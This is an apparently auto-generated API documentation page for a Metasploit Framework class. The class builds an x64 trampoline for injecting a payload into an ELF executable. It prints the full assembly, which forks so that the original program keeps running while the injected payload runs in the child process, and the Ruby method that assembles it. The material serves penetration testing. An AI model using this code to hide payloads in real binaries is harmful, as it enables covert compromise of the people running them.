Class: Msf::Exe::ElfInjector::X64

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/core/exe/elf_injector/x64.rb

Overview

Builds an x64 trampoline that forks before running the payload.

Constant Summary collapse

ASSEMBLY = 
%q{
  pushfq
  push rax
  push rcx
  push rdx
  push rbx
  push rbp
  push rsi
  push rdi
  push r8
  push r9
  push r10
  push r11
  push r12
  push r13
  push r14
  push r15
  push 57
  pop rax
  syscall
  test rax, rax
  jz child
  pop r15
  pop r14
  pop r13
  pop r12
  pop r11
  pop r10
  pop r9
  pop r8
  pop rdi
  pop rsi
  pop rbp
  pop rbx
  pop rdx
  pop rcx
  pop rax
  popfq
  jmp entrypoint
child:
  pop r15
  pop r14
  pop r13
  pop r12
  pop r11
  pop r10
  pop r9
  pop r8
  pop rdi
  pop rsi
  pop rbp
  pop rbx
  pop rdx
  pop rcx
  pop rax
  popfq
}

Instance Method Summary collapse

Constructor Details

#initialize(entrypoint:, injected_address:) ⇒ X64

Returns a new instance of X64.

Parameters:

  • entrypoint (Integer) —

    Original ELF entry point.

  • injected_address (Integer) —

    Virtual address of the injected segment.



68
69
70
71
 
# File 'lib/msf/core/exe/elf_injector/x64.rb', line 68

def initialize(entrypoint:, injected_address:)
  @entrypoint = entrypoint
  @injected_address = injected_address
end

Instance Method Details

#generate ⇒ String

Returns Encoded x64 trampoline.

Returns:

  • (String) —

    Encoded x64 trampoline.



74
75
76
77
78
 
# File 'lib/msf/core/exe/elf_injector/x64.rb', line 74

def generate
  shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, ASSEMBLY)
  shellcode.base_addr = @injected_address
  shellcode.encode_string('entrypoint' => @entrypoint)
end